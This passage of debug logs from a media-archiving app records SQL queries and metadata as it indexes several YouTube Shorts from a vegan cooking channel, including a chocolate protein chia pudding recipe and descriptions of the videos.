(((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [556] 20:26:10.217 [debug] Current batch of media processed. Will check again in 1000ms 20:26:11.218 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nCHOCOLATE PROTEIN 🍫 💪🏻 CHIA PUDDING | A 5-minute, protein packed, YUMMY breakfast! 😋 Chia seeds offer so much energy and nutrition, you can skip that second cup of coffee and have this instead. Here’s the recipe ⬇️ \n\nCHOCOLATE PROTEIN CHIA PUDDING For 1 serving\n8 oz plant milk\n¼ cup nondairy yogurt\n1 scoop vegan chocolate protein powder\n3 tbsp chia seeds\n2 tbsp drippy peanut butter (or PB2)\n\n1. In a protein shaker cup mix the milk, yogurt, protein powder and chia seeds until well combined. \n2. In a glass or bowl spread 1 tbsp peanut butter along the sides. Pour the chia pudding mixture into the glass and top with more peanut butter and some banana slices (optional).\n3. Set in the fridge for 30 minutes until thickened and enjoy!\n\nFollow @steamyvegankitchen for more plant-based deliciousness! 🌱 🙌🏻 \n\n#steamyvegankitchen #chiapudding #chocolate #plantproteins #veganbreakfastideas #chocolatechiapudding #chiaseedspudding #highproteinvegan #eatplantsnotfriends #yummyveganfood #yummyvegan #veganfoodies #plantstrongvegan #wholefooddiet #wfpbrecipes #wfpb #wfpbvegan #vegan #vegano #végétalien", "duration" => 35, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-06 chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts/chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts [r8yV9fqVHZ0].NA", "id" => "r8yV9fqVHZ0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/r8yV9fqVHZ0", "playlist_index" => 168, "timestamp" => 1683382519, "title" => "chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts", "upload_date" => "20230506"} 20:26:11.219 [debug] QUERY OK source="sources" db=0.4ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:11.220 [debug] QUERY OK source="sources" db=0.4ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:11.222 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-06 14:15:19Z], 1] 20:26:11.223 [debug] QUERY OK source="media_items" db=1.1ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nCHOCOLATE PROTEIN 🍫 💪🏻 CHIA PUDDING | A 5-minute, protein packed, YUMMY breakfast! 😋 Chia seeds offer so much energy and nutrition, you can skip that second cup of coffee and have this instead. Here’s the recipe ⬇️ \n\nCHOCOLATE PROTEIN CHIA PUDDING For 1 serving\n8 oz plant milk\n¼ cup nondairy yogurt\n1 scoop vegan chocolate protein powder\n3 tbsp chia seeds\n2 tbsp drippy peanut butter (or PB2)\n\n1. In a protein shaker cup mix the milk, yogurt, protein powder and chia seeds until well combined. \n2. In a glass or bowl spread 1 tbsp peanut butter along the sides. Pour the chia pudding mixture into the glass and top with more peanut butter and some banana slices (optional).\n3. Set in the fridge for 30 minutes until thickened and enjoy!\n\nFollow @steamyvegankitchen for more plant-based deliciousness! 🌱 🙌🏻 \n\n#steamyvegankitchen #chiapudding #chocolate #plantproteins #veganbreakfastideas #chocolatechiapudding #chiaseedspudding #highproteinvegan #eatplantsnotfriends #yummyveganfood #yummyvegan #veganfoodies #plantstrongvegan #wholefooddiet #wfpbrecipes #wfpb #wfpbvegan #vegan #vegano #végétalien", "chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts", "e81652d3-219d-4ca8-a17d-5a79e7c39c71", 1, [], 35, false, "r8yV9fqVHZ0", "https://www.youtube.com/shorts/r8yV9fqVHZ0", 168, "/downloads/downloads/alec/Steamy Vegan/2023-05-06 chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts/chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts [r8yV9fqVHZ0].NA", false, false, true, 1, ~U[2023-05-06 14:15:19Z], ~U[2026-03-22 03:26:11Z], ~U[2026-03-22 03:26:11Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nCHOCOLATE PROTEIN 🍫 💪🏻 CHIA PUDDING | A 5-minute, protein packed, YUMMY breakfast! 😋 Chia seeds offer so much energy and nutrition, you can skip that second cup of coffee and have this instead. Here’s the recipe ⬇️ \n\nCHOCOLATE PROTEIN CHIA PUDDING For 1 serving\n8 oz plant milk\n¼ cup nondairy yogurt\n1 scoop vegan chocolate protein powder\n3 tbsp chia seeds\n2 tbsp drippy peanut butter (or PB2)\n\n1. In a protein shaker cup mix the milk, yogurt, protein powder and chia seeds until well combined. \n2. In a glass or bowl spread 1 tbsp peanut butter along the sides. Pour the chia pudding mixture into the glass and top with more peanut butter and some banana slices (optional).\n3. Set in the fridge for 30 minutes until thickened and enjoy!\n\nFollow @steamyvegankitchen for more plant-based deliciousness! 🌱 🙌🏻 \n\n#steamyvegankitchen #chiapudding #chocolate #plantproteins #veganbreakfastideas #chocolatechiapudding #chiaseedspudding #highproteinvegan #eatplantsnotfriends #yummyveganfood #yummyvegan #veganfoodies #plantstrongvegan #wholefooddiet #wfpbrecipes #wfpb #wfpbvegan #vegan #vegano #végétalien", "chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts", 1, 35, false, "r8yV9fqVHZ0", "https://www.youtube.com/shorts/r8yV9fqVHZ0", "/downloads/downloads/alec/Steamy Vegan/2023-05-06 chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts/chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts [r8yV9fqVHZ0].NA", true, ~U[2023-05-06 14:15:19Z]] 20:26:11.224 [debug] QUERY OK source="sources" db=0.3ms idle=200.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:11.224 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:11.225 [debug] QUERY OK source="media_items" db=0.3ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [557] 20:26:11.225 [debug] Current batch of media processed. Will check again in 1000ms 20:26:12.226 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These black and white chocolate jam bites are going viral online and I just had to try them out for myself. I made these vegan as usual and they were incredible!!! \n\nSubscribe and check out the full recipe video with my pecan turtles recipe on the channel!", "duration" => 52, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-05 Viral Chocolate Jam Bites😋😋 #shorts/Viral Chocolate Jam Bites😋😋 #shorts [2rlI4Fu6RiY].NA", "id" => "2rlI4Fu6RiY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/2rlI4Fu6RiY", "playlist_index" => 169, "timestamp" => 1683309601, "title" => "Viral Chocolate Jam Bites😋😋 #shorts", "upload_date" => "20230505"} 20:26:12.227 [debug] QUERY OK source="sources" db=0.4ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:12.228 [debug] QUERY OK source="sources" db=0.5ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:12.230 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-05 18:00:01Z], 1] 20:26:12.231 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These black and white chocolate jam bites are going viral online and I just had to try them out for myself. I made these vegan as usual and they were incredible!!! \n\nSubscribe and check out the full recipe video with my pecan turtles recipe on the channel!", "Viral Chocolate Jam Bites😋😋 #shorts", "8e9d148d-3d9d-4dca-88da-3fe32aabafe3", 1, [], 52, false, "2rlI4Fu6RiY", "https://www.youtube.com/shorts/2rlI4Fu6RiY", 169, "/downloads/downloads/alec/Steamy Vegan/2023-05-05 Viral Chocolate Jam Bites😋😋 #shorts/Viral Chocolate Jam Bites😋😋 #shorts [2rlI4Fu6RiY].NA", false, false, true, 0, ~U[2023-05-05 18:00:01Z], ~U[2026-03-22 03:26:12Z], ~U[2026-03-22 03:26:12Z], "These black and white chocolate jam bites are going viral online and I just had to try them out for myself. I made these vegan as usual and they were incredible!!! \n\nSubscribe and check out the full recipe video with my pecan turtles recipe on the channel!", "Viral Chocolate Jam Bites😋😋 #shorts", 1, 52, false, "2rlI4Fu6RiY", "https://www.youtube.com/shorts/2rlI4Fu6RiY", "/downloads/downloads/alec/Steamy Vegan/2023-05-05 Viral Chocolate Jam Bites😋😋 #shorts/Viral Chocolate Jam Bites😋😋 #shorts [2rlI4Fu6RiY].NA", true, ~U[2023-05-05 18:00:01Z]] 20:26:12.232 [debug] QUERY OK source="sources" db=0.4ms idle=206.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:12.232 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:12.233 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [558] 20:26:12.233 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "If you're in a rush and need a quick protein packed vegan and gluten free breakfast then you gotta make this! I love making these cheesy bean burritos and they only take me 5 minutes and I can grab it and get going with my workday immediately. \n\nSubscribe and check out some of my other vegan and GF mexican recipes. Here's just a taste of a few of them: \n1. Instant Pot Refried Beans: https://youtu.be/4B4GRiB3yzs\n2. The Best Guacamole: https://youtu.be/GDjh5_Maauc\n3. Pico De Gallo: https://youtu.be/zYX8d3bvg_w", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-04 5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts/5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts [BoS7MypkrRU].NA", "id" => "BoS7MypkrRU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BoS7MypkrRU", "playlist_index" => 170, "timestamp" => 1683208809, "title" => "5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts", "upload_date" => "20230504"} 20:26:12.235 [debug] QUERY OK source="sources" db=0.6ms queue=0.7ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:12.236 [debug] QUERY OK source="sources" db=0.3ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:12.238 [debug] QUERY OK source="media_items" db=1.8ms idle=3.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-04 14:00:09Z], 1] 20:26:12.239 [debug] QUERY OK source="media_items" db=0.9ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're in a rush and need a quick protein packed vegan and gluten free breakfast then you gotta make this! I love making these cheesy bean burritos and they only take me 5 minutes and I can grab it and get going with my workday immediately. \n\nSubscribe and check out some of my other vegan and GF mexican recipes. Here's just a taste of a few of them: \n1. Instant Pot Refried Beans: https://youtu.be/4B4GRiB3yzs\n2. The Best Guacamole: https://youtu.be/GDjh5_Maauc\n3. Pico De Gallo: https://youtu.be/zYX8d3bvg_w", "5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts", "082d60ea-57fd-4d34-ae17-5a8eb15889ef", 1, [], 27, false, "BoS7MypkrRU", "https://www.youtube.com/shorts/BoS7MypkrRU", 170, "/downloads/downloads/alec/Steamy Vegan/2023-05-04 5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts/5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts [BoS7MypkrRU].NA", false, false, true, 0, ~U[2023-05-04 14:00:09Z], ~U[2026-03-22 03:26:12Z], ~U[2026-03-22 03:26:12Z], "If you're in a rush and need a quick protein packed vegan and gluten free breakfast then you gotta make this! I love making these cheesy bean burritos and they only take me 5 minutes and I can grab it and get going with my workday immediately. \n\nSubscribe and check out some of my other vegan and GF mexican recipes. Here's just a taste of a few of them: \n1. Instant Pot Refried Beans: https://youtu.be/4B4GRiB3yzs\n2. The Best Guacamole: https://youtu.be/GDjh5_Maauc\n3. Pico De Gallo: https://youtu.be/zYX8d3bvg_w", "5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts", 1, 27, false, "BoS7MypkrRU", "https://www.youtube.com/shorts/BoS7MypkrRU", "/downloads/downloads/alec/Steamy Vegan/2023-05-04 5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts/5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts [BoS7MypkrRU].NA", true, ~U[2023-05-04 14:00:09Z]] 20:26:12.240 [debug] QUERY OK source="sources" db=0.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:12.240 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:12.241 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [559] 20:26:12.241 [debug] Current batch of media processed. Will check again in 1000ms 20:26:13.242 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "If you want a filling vegan GF breakfast that's packed full of protein and will help you lose weight then this recipe is for you. Sweet potato toast is one of my all time favorite go-to breakfast recipes when I'm in a rush and crunched for time. This recipe only takes 5 minutes and I have several other variations on it in the below recipe video!\n\nSweet Potato Toast 3 Ways Recipes: https://youtu.be/_IS3CDabzNY\nSweet Potato Brownies: https://youtu.be/sZGmMaDVWHk\n\nSubscribe and let me know if you tried this out ❤", "duration" => 45, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-03 5 Minute Sweet Potato Toast 🍠😋❤ #shorts/5 Minute Sweet Potato Toast 🍠😋❤ #shorts [I_GGKlyIHrg].NA", "id" => "I_GGKlyIHrg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/I_GGKlyIHrg", "playlist_index" => 171, "timestamp" => 1683122416, "title" => "5 Minute Sweet Potato Toast 🍠😋❤ #shorts", "upload_date" => "20230503"} 20:26:13.243 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:13.244 [debug] QUERY OK source="sources" db=0.4ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:13.246 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-03 14:00:16Z], 1] 20:26:13.247 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you want a filling vegan GF breakfast that's packed full of protein and will help you lose weight then this recipe is for you. Sweet potato toast is one of my all time favorite go-to breakfast recipes when I'm in a rush and crunched for time. This recipe only takes 5 minutes and I have several other variations on it in the below recipe video!\n\nSweet Potato Toast 3 Ways Recipes: https://youtu.be/_IS3CDabzNY\nSweet Potato Brownies: https://youtu.be/sZGmMaDVWHk\n\nSubscribe and let me know if you tried this out ❤", "5 Minute Sweet Potato Toast 🍠😋❤ #shorts", "7e293c36-e364-4859-b292-a94e098d80d2", 1, [], 45, false, "I_GGKlyIHrg", "https://www.youtube.com/shorts/I_GGKlyIHrg", 171, "/downloads/downloads/alec/Steamy Vegan/2023-05-03 5 Minute Sweet Potato Toast 🍠😋❤ #shorts/5 Minute Sweet Potato Toast 🍠😋❤ #shorts [I_GGKlyIHrg].NA", false, false, true, 1, ~U[2023-05-03 14:00:16Z], ~U[2026-03-22 03:26:13Z], ~U[2026-03-22 03:26:13Z], "If you want a filling vegan GF breakfast that's packed full of protein and will help you lose weight then this recipe is for you. Sweet potato toast is one of my all time favorite go-to breakfast recipes when I'm in a rush and crunched for time. This recipe only takes 5 minutes and I have several other variations on it in the below recipe video!\n\nSweet Potato Toast 3 Ways Recipes: https://youtu.be/_IS3CDabzNY\nSweet Potato Brownies: https://youtu.be/sZGmMaDVWHk\n\nSubscribe and let me know if you tried this out 